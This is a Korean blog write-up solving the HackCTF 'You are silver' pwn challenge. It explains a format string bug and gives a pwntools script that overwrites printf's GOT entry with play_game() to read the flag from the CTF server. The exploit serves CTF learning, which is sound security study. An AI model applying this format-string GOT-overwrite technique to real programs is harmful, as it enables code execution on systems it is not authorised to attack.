You are silver 풀이

2021. 11. 22. 19:20HackCTF

728x90

문제 정보
적용된 보호기법
main()
get_tier()
play_game()
문제 파일 실행 결과

이번 문제는 실행하자마자 세그먼트 폴트가 떴습니다.

우선 코드 분석부터 하겠습니다.

 

처음 main() 함수에서 fgets() 함수로 46 길이의 문자열을 입력받습니다.

그리고 printf(&s)로 입력받은 문자열을 출력하는데, 이 부분에서 FSB가 발생한다는 걸 알 수 있습니다.

 

그리고 get_tier() 함수에 인자로 v6의 초기값인 50을 넣어주고, 그 반환 값을 v5에 저장합니다.

get_tier() 함수는 조건 분기문으로 사용자의 티어를 판별해주는 함수입니다.

인자가 50으로 들어왔으니 "You are silver"를 출력하게 되고, 1을 리턴해줍니다.

 

다시 main() 함수로 돌아오면 v5의 값(1)을 주소로 하는 값을 출력하도록 되어있습니다.

그렇기에 이 부분에서 세그먼트 폴트가 발생하게 되고 프로그램은 종료됩니다.

 

기본적인 로직만 봤을 때는 system("cat ./flag")가 들어있는 play_game() 함수를 호출하지 않습니다.

프로그램에 적용된 보호기법을 봤을 때, GOT Overwrite가 가능하니, 이를 이용해서 play_game() 함수를 실행시키면 FLAG를 획득 할 수 있을 것입니다.

 

문제 풀이 시나리오

1. printf_got를 play_game() 주소로 덮기
2. 76을 인자로 넘겨주기

 

Offset 확인 (6)

from pwn import *

context.log_level='debug'

p=remote('ctf.j0n9hyun.xyz',3022)
e=ELF('./you_are_silver')

play_game=0x4006D7
print_got=e.got['printf']

#offset : 6
payload=''
payload+='%{}c'.format(play_game)
payload+='%8$lnAA' #8byte(AA는 공간 남길래 padding)
payload+=p64(print_got)
payload+='L'*(46-len(payload)) #int로 하니 error..!

p.sendlineafter('name',payload)

p.interactive()

 

원래는 76을 그냥 넣으려고 했는데, 에러가 나더군요...

그래서 아스키코드값이 76인 L을 넣어줬습니다.

 

FLAG 획득 완료
문제 풀이 성공

728x90

'HackCTF' 카테고리의 다른 글

RTL_Core 풀이  (0) 2021.07.18
RTL_World 풀이  (0) 2021.07.17
Offset 풀이  (0) 2021.07.14
Simple_Overflow_ver_2 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13